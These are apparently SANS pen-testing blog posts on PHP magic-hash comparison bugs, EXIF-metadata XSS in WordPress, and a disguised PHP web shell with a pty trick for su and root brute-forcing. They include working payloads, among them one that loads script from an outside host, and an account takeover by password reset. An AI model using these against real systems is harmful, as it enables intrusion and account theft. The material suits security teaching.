This is all well and good… until it’s not.  Let’s revisit Jos’ code example from before. Why are the two MD5 output values equal to PHP? Because PHP thinks they are numbers:

$ echo -n 240610708 | md5sum
$ echo -n QNKCDZO | md5sum

PHP sees a number (0), followed by the letter “e”, and it converts the MD5 string to exponential notation (e.g. 0462097431906509019562988736854).  Because both MD5 hashes start with “0e”, they both evaluate to 0, making them numerically equivalent.

In the case of HumHub, an attacker can force a password reset without authentication.  HumHub selects a new password using a variety of techniques (which is also problematic, as pointed out by Jos) and MD5 hashes it.  If the resulting password hash starts with one or more zeros, followed by “e” and the rest of the characters are numeric, then an attacker can login with the password “0”.  If the password hash does not match this criteria, the attacker resets it again and keeps trying until they can login.

I posted a note about this on Twitter the other day, and one response from @nicoduck reminding people to stop using MD5 was awesome:

Since SHA1 hashes are longer than MD5 hashes, it is less likely that a randomly selected value will meet the 0 + e + digits rule for PHP to evaluate it as an exponential value.  I left this Python code running on my Mac overnight to test SHA1 hashes for this pattern:

>>> import hashlib, string, itertools, re
>>> for word in itertools.imap(”.join,
itertools.product(string.uppercase + string.lowercase +
string.digits, repeat=8)):
…        if re.match(r’0+[eE]+\d+$’,
…         print word

The itertools.imap() call returns a Python iterable object that consists of all the string combinations of upper and lowercase letters and numbers up to 8 characters in length.  Each “word” is SHA1 hashed and compared to a regular expression to see if it meets the 0 + e + digits requirement.  This routine is only single-threaded, but it was late at night and I was ready for bed.

In the morning, I awoke to this output:


Sure enough, all these strings SHA1 hash to what PHP would consider exponential numbers:

$ echo -n AAPkbYlH | sha1sum 
0e51223820731210116366152413868569204545  -
$ echo -n AAJd1x3j | sha1sum 
00e6811279456694288001763399976992804485  -
$ echo -n AAZlIwOZ | sha1sum 
0e13965443605273185827757762777509208778  -
$ cat p.php 
<?php var_dump((sha1('AAPkbYlH') == sha1('AAJd1x3j')) ==
sha1('AAZlIwOZ')); ?>
$ php p.php 

The Fix

My good friend Tom Hessman pointed out that this problem is not inherent in the PHP “===” operator:

$ sed -i php 's/==/===/' bahhumhubbug.php 
$ cat bahhumhubbug.php 
if (md5('240610708') === md5('QNKCDZO')) {
     print "Yes, these are the same values.\n";
$ php bahhumhubbug.php 

The “===” operator returns true only when the values are equivalent and are of the same type.  That said, I’d be willing to bet that other PHP projects are vulnerable to similar types of bugs, judging from the popular use of “==” in PHP projects.

As an instructor, I know a lot of pen testers out there get to a point in their careers where they are great at using tools, but lack coding skills.  Coding isn’t for everyone**, but if you want to be a great penetration tester, you need to be able to read code from time to time.  I’m not recommending you print out the source code to a popular web app and sit down with a good cup of coffee and read it end-to-end. However, you should be able to make judicious use of grep (or findstr.exe, I won’t judge) and search through source to find interesting bits of information that is worth a second look.  Understanding tidbits about the language you are looking at (like the difference between “==” and “===” in PHP) can be extremely useful:

$ egrep -R "md5|sha" * | grep '=='
     if(sha1($_POST['password']) == $admin_password) {


-Joshua Wright

*As “some programmers” might expect. This programmer finds this weak typing thing bizarre.
**Coding isn’t for everyone, unless you sign up for Mark Baggett’s SANS SEC573: Python for Penetration Testers class. You’d be amazed at how much you can get done with a little Python!

Finding Zero-Day XSS Vulns via Doc Metadata

[Editor’s Note: Chris Andre Dale has a nice article for us about cross-site-scripting attacks, and he’s found a ton of them in various high-profile platforms on the Internet, especially in sites that display or process images.  He even found one in WordPress and responsibly disclosed it, resulting in a fix for the platform released just a few weeks ago.  In this article, Chris shares his approach and discoveries, with useful lessons for all pen testers.  Oh… and if you are going to test systems, make sure you have appropriate permission and don’t do anything that could break a target system or harm its users.  Thanks for the article, Chris!  –Ed.]

By Chris Andre Dale

XSS Here, XSS There, XSS Everywhere!

Today Cross-Site Scripting (XSS) is very widespread. While it is not a newly discovered attack vector, we still see it all the time in the wild. Do you remember back in the days, when you would click on a website’s guestbook, and suddenly you would have tons of pop-ups or redirections happen? Yeah, that’s often XSS for you. Today I see XSS vulnerabilities in almost all of the penetration testing engagements that I conduct.

Even to this very day, there is evidence of old XSS worms stuck on the web. Remember MySpace? Yeah, me neither. Make a Google search for “Samy is my hero site:myspace.com”. You will see thousands of ghostly remains of a XSS worm back from  2006! The infamous Samy worm does not still linger, but what you are seeing is the remains of MySpace profiles that were victims of this worm back in 2006.

XSS is usually ranked only as a medium impact when exploited. For instance, OWASP has rated this vulnerability as a moderate impact. I disagree on this. In many cases XSS can be truly brutal and potentially life threatening. What do I mean? When XSS is bundled with other vulnerabilities, such as Cross-Site Request Forgery (CSRF), we can quickly imagine some very nasty scenarios. What if your XSS exploit hooks an IT Operations administrator, and through the XSS you add your CSRF payloads to perform administrative functions to their HVAC solutions? Alternatively, consider the unfortunate event where an attacker has successfully compromised thousands of hosts, using them all to DDOS an unsuspected victim.

New XSS attack vectors arise all the time, however we don’t often see something truly new or untraditional. Wouldn’t it be cool to see something else other than just your ordinary filter bypass? In this article, I’ll cover how I’ve successfully found 0-day exploits in WordPress, public sites and plugins for popular CMS systems, by merely using using this technique.

Let’s take a look at embedding XSS payloads into image metadata, more specifically EXIF data in JPEG images. This can be accomplished several ways. If you are old school (or perhaps just old :), you can accomplish this by modifying your camera settings:

The camera type used here is a Canon(1) camera.

Any hacker with any respect for themselves, uses ExifTool(2) by Phil Harvey to accomplish the task. The following command allows us to add/overwrite an exif tag, specifically the camera type that has allegedly been used to take this photograph:

exiftool.exe -"Camera Model Name"="// " "C:\research.jpg" 

Let’s not just add the model name, let’s extend it to other values as well:

As you can see, we’ve added the standard javascript alert code to a whole set of different EXIF data fields. Now we’ll create a simple PHP script that will mimic a real world example of a system that uses EXIF data:

$filename = $_GET['filename'];
echo $filename . "
$exif = exif_read_data('tests/' . $filename, 'IFD0');
echo $exif===false ? "No header data found.
\n" : "Image contains headers
$exif = exif_read_data('tests/' . $filename, 0, true);
foreach ($exif as $key => $section) {
    foreach ($section as $name => $val) {
        echo "$key.$name: $val

The above script will simply iterate through all EXIF data keys it finds and will output the respective value. For testing purposes, this is exactly what we want.

PHP’s EXIF parser does not have filtering in place by default, making it very interesting to test this attack vector. In cases where a developer has forgotten to do sanitization on these fields, we may have a successful attack. Developers think, in many cases, that some of their data is read-only, so why would they EVER need to sanitize it?! Common mistake…

Using the script above, and armed with our the metadata-bombed picture, we can try to attack ourselves through the demo script. In the following picture, we have told the script to fetch our metadata-bombed picture, simply illustrating the attack with a JavaScript pop-up:

So what? We’ve successfully attacked ourselves with a pop-up message? Well, there is so much more to this than just attacking ourselves. First of all, we’ve verified that there is no built-in filtering in the PHP exif_read_data function. That means that all developers need to remember is to apply filtering manually, and as we covered before, we all know that developers always remember this… Secondly, we’ve verified that we can gain executable JavaScript in someone’s browser. From here, we can simply rewrite our pop-up payload to something much more subtle and evil, such as introducing a BeEF hook. More on this later.

Scouring For 0 Day’s

Armed with a fully metadata-bombed picture, I set sail into the Wild Wild Web. I had to check whether my assumptions of developers failing to sanitize the EXIF data was true or not. From there, I roamed into the depths of picture upload sites… I started googling “upload picture”, “picture sharing”, “photograph sharing” and much more. On the sites that I found interesting, I registered an account and started uploading my pictures.

On a side note, Mailinator(3) comes in handy doing this kind of research. In fact, I registered with the account no-reply@mailinator.com for most of the sites, however, to my great surprise, one of the sites already had an account with this username! What?! Someone had actually registered with this account before? Then undoubtedly, I could do a password reset! Sure enough, doing a password reset, I gained access to someone else’s account. Whew… Now, who would EVER register an account on a Mailinator address for their private pictures? Another security researcher? Criminals? Where do I go from here? Do I really want to venture into someone else’s account? If so, what will I find? Regardless of my questions and doubt, I decided to continue, knowing surely that there is no turning back from what I might be about to see.  To my surprise, and more importantly, to my relief, the site contained a bunch of family vacation pictures from a trip to Indonesia.

Many of the sites required registration, while many of them did not show any metadata at all. Out of 21 sites tested, 11 sites did not have a feature to display EXIF data, 7 sites had at least rudimentary filtering and 3 sites were found to be vulnerable. Not amazing numbers, however still fun to see it working in the wild, outside of my lab. What do I mean by rudimentary filtering? Well, it just means I didn’t try to bypass the filtering. Additionally, I tested the attack vector on 3 WordPress plugins, whereas 2 were found vulnerable and one had the appropriate filtering in place. Responsible disclosure against the sites and plugins has been conducted. Some of the examples in this article have been anonymized because as of the launch of the article, they have still not patched the issue.

Keep in mind, many of the sites that were applying filtering could still be vulnerable. I did not conduct any filter bypass in my testing. My gut feeling is that the filters were very rudimentary and could easily be bypassed.

First, here is an example from 500px.com which was not found to be vulnerable:

You can see the payload present in the title and the camera is automatically populated by the site. That means that instead of prompting me to set a title for my picture, the site used one of the EXIF data fields to pre-populate it for me. Interesting…this was something I saw as a repeating characteristic when doing my testing.

Flickr also did appropriate filtering, keeping in mind, no filter bypass has been tried:

One particular site did not like my testing at all. When trying to upload my picture, it seemed to break something:

Anyway, we’re not here for the failures, are we? We’re here for the success stories! Ahh, this is the wonderful world of hacking…gaining success through other people’s failures… *evil grin*

Here is a site where we can see our attack manifest itself.  Just by uploading the picture and then viewing it, it triggers this vulnerability:

I also found the same vulnerability at other sites. We can see the image I’ve uploaded in the background — a princess and a unicorn. Sadly, no farting rainbows…

Many of the big sites were also tested, such as Google Plus, DeviantArt, and Photobucket. These were all applying some filtering.  A site, however, that did not apply the necessary filtering was WordPress.

In the screenshot above I’ve successfully uploaded an image, by accessing it through its respective attachment page. Remember, I am using a harmless payload, just alerting a text message. This could be a completely stealthy attack payload if I wanted it to be. Let’s dive further into the WordPress finding.

The WordPress Exploit

WordPress is the most popular blogging platform on the internet today, ranking up more than 60 million websites in 2012 (4). Finding working exploits in such a platform can be very interesting for many actors, hence they also have a working bug bounty program (5). The vulnerability I’m demonstrating in this paper has been submitted to WordPress through responsible disclosure, and we held this article until they had properly patched the issue.

The WordPress vulnerability manifests when an administrator, or editor, uploads an image with the ImageDescription EXIF data tag set to a JavaScript payload. The exploit works only for the user accounts as more strict filtering is put on the other accounts. This has sparked some controversy about this vulnerability, however, as I will prove in this article, we will create an attack that is fully stealthy, allowing the attack to take place without an administrator knowing what is going on.

Why the controversy? With WordPress, and other CMS  systems such as Sharepoint, some roles are allowed to upload HTML elements. With WordPress, administrators and editors are allowed to implement unfiltered HTML (6).  The other side of the controversy is how the attack can be made super stealthy. The administrator has very limited ways to realize that he is doing something wrong and actually uploading malware into his site. Now, that’s cool! This is also why WordPress has chosen to patch this issue.

Embedding some JavaScript into the tag and then uploading it will trigger the vulnerability once a user views the attachment page of the image. Using Exiftool, you can accomplish this with the following command:

Here I’ve changed my JavaScript payload to a reference instead of embedding the JavaScript file itself in the image. This will give us increased flexibility when creating working payloads.

exiftool.exe -"ImageDescription"="<script src=\"http://pentesting.securesolutions.no/js.js\">" paramtest1.jpg

The following example is one of my first runs of the attack. It is not stealthy as the administrator can easily pick up that something is wrong, simply by looking at the title element of the page. WordPress uses the ImageDescription element to populate the title element, and properly filters before doing so. We’ll see soon how to bypass this.

The attack works when you navigate to the attachment page, however any WordPress editor with IQ higher than their shoe-size would most likely realize that something is fishy, immediately deleting the picture. If we stopped at this point, I don’t think the issue would warrant a patch or much attention at all, however the next steps allows us to go into stealth mode.

If I figured out a way for the payload to be embedded, but without the title element being overridden, I could make the attack feasible. Luckily, I discovered a small artifact when doing the testing. Trying different types of encoding, and other obfuscation techniques, produced some really long strings. When producing a long enough string, I noticed that WordPress suddenly defaulted to using the filename as the title element! Nice!

The following Exiftool command makes WordPress ignore the ImageDescription, allowing a more stealthy attack:

exiftool.exe -"ImageDescription"="

<script src\"http://pentesting.securesolutions.no/js.js\"></script>" paramtes1.jpg

Notice all the extra spaces. This extra padding makes WordPress think that this is too long for the title field, thus defaulting to simply using the filename. The attack now manifests more beautifully when we upload the picture:

The picture loads normally. Our XSS vector is currently invisible. Here is what happens when someone, e.g. the administrator, visits the picture:

The screenshot shows how I’ve successfully included my malicious JavaScript. This could be a simple BEeF(7) hook, allowing us a very high level of control of the victims. From here, it’s game over.

Best Regards, Cross-Site Scripting

Why stop at EXIF data? What about other types of data, perhaps not in the same magnitude as online EXIF parsers, but let’s look at embedding XSS into other data.

What if a webpage allowed you to upload a Word document , and it would then automatically extract the Author field of the document and embed it on the site? That could definitely lead to a vulnerability. It sounds like a good vector for a XSS attacks, or even other types of attacks such as SQL Injection if they store the information in a database. When I look at the document I’m writing right now, I can see the following metadata information:

Without a doubt, many of these parameters can easily be changed by the user, either through Exiftool or using the word processor itself. The following example shows editing the username to a XSS payload. I do apologize for the Norwegian text; I’ve been cursed with a Norwegian installation of Windows and Office by my IT-department.

Pictures and documents. What about audio? Here is an example adding XSS to an mp3 file through the awesome free, and open-source, tool Audacity (8):

There are probably tons of other situations where we can add these types of attacks.  It’s up to us to find them before the bad guys does.


Let’s consider the future. The data we embed in metadata today might, sometime in the future, exploit services that has not yet been developed. Perhaps, we’ll see XSS shooting out from projectors, chat services, glasses (e.g. Google Glass) or robots going crazy having alert(1)’s all over the place. Or perhaps even cooler, your files embedded with XSS today might someday, in the future, trigger a callback connection straight back to your BEeF hook…

The bottom line is, data coming from a third party system, being a user or another system, should be sanitized! You know that whole concept of garbage in, garbage out? Let’s stop that.

Additionally, it is important for pen testers to have this information in their arsenal when doing their testing. The testers need to think outside the box and cover as much testing surface as possible.

Also, Ed Skoudis had a student who mentioned some great research that has been made on sites processing metadata. I recommend checking out the research done at embeddedmetadata.org (9). It might spark some further testing and research for some of our readers.

Now, go onward my friends and…


  1. http://www.amazon.com/Canon-CMOS-Digital-Camera-3-0-Inch/dp/B0040JHVCC
  2. http://www.sno.phy.queensu.ca/~phil/exiftool/
  3. http://mailinator.com/
  4. http://www.forbes.com/sites/jjcolao/2012/09/05/the-internets-mother-tongue/
  5. http://automattic.com/security/
  6. http://www.whitefirdesign.com/about/wordpress-security-bug-bounty-program.html
  7. http://beefproject.com/
  8. http://audacity.sourceforge.net/
  9. http://www.embeddedmetadata.org/social-media-test-results.php

-Chris Andre Dale

Announcing the Awesome New SANS Brochure Challenge

Here’s some fun news.  SANS just released a new kind of challenge – one that unfolds from the pages of a SANS brochure itself.  Created by Jeff McJunkin and a group of challenge-writing collaborators, we launched it this week with the mailing of the SANS Network Security brochure for the upcoming conference in Las Vegas in October 2014.  This challenge will take you across many domains of knowledge, including (but not limited to!): infosec fundamentals, pen testing, digital forensics, steganography, social media, mobile devices, and much, much more, all wrapped up in some geeky fun!

You’ll enjoy all these areas and more from the comfort of your brochure (paper or pdf) and local computer, along with everyone’s favorite global network, the Internet itself. You’ll be able to advance all the way through this challenge from anywhere in the world. If this sounds a bit overwhelming, don’t worry!  We recommend you start on the challenge now, and have fun with it.

Regardless of whether you can make it to the conference in Vegas or not, you can still participate in the challenge and win prizes by working from the brochures or their pdfs.  If you receive SANS brochures in the mail, you should be on the lookout for the Network Security brochure in the mail this week for the challenge details on Page 2.  Or, skip the paper altogether and jump on sleuthing and hacking your way through the challenge by clicking on the image below to download the Network Security brochure.  The challenge starts on Page 2 in the section cleverly titled “SANS Brochure Challenge.”

Once you conquer the first challenge in the Network Security brochure, you’ll see other challenge components in the SANS Albuquerque brochure (shipped the week of 7/10/14, but downloadable here now), the SANS Baltimore brochure (shipped the week of 7/31/14, but downloadable here now), and the SANS Seattle brochure (shipped the week of 8/14/14, but downloadable here now) over the next few weeks.  We’ll post reminders about those brochures in this blog when they hit the mail as well.  You can get rolling and make some huge progress based on what’s in the Network Security (Vegas) brochure alone.

So, how can you win and earn the undying respect of all your friends? There are three ways to win, though for each of them you’ll need to finish the challenge. We’ll award prizes to the first person to complete the challenge, the person with the best technical write-up describing how they did it, and one lucky person who wins a random draw from all entries.

This innovative, quirky, and fun challenge itself will tell you where to send your answer when you conquer it!

What will you win?

The person with the best technical write-up will receive a signed copy of  the “Counter Hack Reloaded” book, as will the winner of the random drawing.  We’ll also tell everyone about your amazing work as a victor in this challenge!  And, the first person to finish the challenge will receive the GRAND PRIZE – a free four-month subscription to NetWars Continuous, valued at over $2,000! You’ll have plenty of opportunities to develop your skills practicing in this on-line cyber range, especially with our NetWars Continuous automated hint system to ensure a Stuck-Free™ experience!

Rules of Engagement for the brochure challenge:

  • No denial of service attacks
  • No brute force attacks – although you won’t gain access in this way, you could slow down the experience for other players
  • No attacks against the web servers or their underlying operating systems
  • No sharing of challenge links, hints, or write-ups before the contest deadline has passed

Have fun with our SANS first ever official brochure challenge!

–Jeff McJunkin, Ed Skoudis, and the SANS Team

Sneaky Stealthy SU in (Web) Shells

[In this article, the inimitable Tim Medin has some fun with PHP web shells, and merges together some clever ideas for interacting with them in a rather stealthier fashion using some Python kung fu! –Ed.]

By: Tim Medin

Here is the scenario: you have a server that allows you to upload an avatar. The site makes sure that the file ends with .jpg, .png, or .gif. Being the sneaky bugger you are (as a professional penetration tester operating within your scope and rules of engagement, naturally), you upload a file named shell.php.jpg, containing this delightful gem:

<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

This file passes the extention check, but since it contains .php in the filename, many systems will execute it as a script. Also, this shell doesn’t include the telltale “/bin/sh”, “shell_exec”, or “system” strings and it looks like some sort of system commands associated with time to the untrained eye.

$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami"

This by no means a new attack. The oldest reference I could find (in my vast two minutes of searching the deep web) is 2009, but the technique/attack is much older. Now that we have a shell (via web shell or command injection) on a Linux target, let’s look at how we can escalate permissions. A common next step is to establish a net cat session back the attacker’s system.


Or, if the target’s netcat doesn’t support -e, referred to as the GAPING_SECURITY_HOLE option, you could use the version below (as Ed Skoudis discovered at his Magical Olive Garden and documented here)


Once we have the shell established, we need to upgrade the shell to use “sudo” or “su” as they interact with the shell in a unique way. Sterling Thomas posted an excellent list of upgrade techniques to the SANS GPWN mailing list. Once we use one of these techniques, we can use “sudo” and “su”.

What if you can’t or don’t want to have that outbound connection back to your box but you want to upgrade your shell in-line with your webshell? Sending data in HTTP POST requests is much more stealthy, as the posts typically aren’t logged and there isn’t that pesky outbound connection we saw with Netcat. Simple commands work fine this way.

$ curl "http://Site/shell.php.jpg" --data="ctime=system&atime=ls+-la"

We can send commands to the server, but we likely can’t use “sudo” as the web server’s account (such as apache) shouldn’t be in the /etc/sudoers file. This means we need to use “su” to upgrade. The “su” command has a “-c” option that allows us to specify a command. However, we have a problem — we need to run “su” and provide a password. What happens if we use echo to send the password into “su”? Let’s test it with our own shell.

$ echo password | su -c whoami
standard in must be a tty

Bah!  You might get the error “must be run from a terminal”, but either way we are out of luck with this technique.  The su command wants us to work from a terminal, not take in raw stuff via the shell’s Standard Input.

Now, here comes the trick. We can use a shell terminal trick that relies on Python to turn our non-terminal shell into a terminal shell.  Watch this:

$ (sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"


We need the sleep to pause just long enough for python to start and execute “su”. A second later (Python should be ready by then) the password is sent in, and we “got root”. We can now run whatever we want, as root.

We can use this technique to bruteforce the root password too. Of course, this method would also work with command injection too.

Now we can stay stealthier and have more access, two things I very much love!

Many of the concepts and techniques we discuss here covered in detail in the SANS flagship penetration testing course, SANS Security 560: Network Penetration Testing and Ethical Hacking, which covers end-to-end pen testing in depth with tons of hands-on labs.  Upcoming sessions include Boston in late July, Virginia Beach in late August, and Bangkok in August!

–Tim Medin
Counter Hack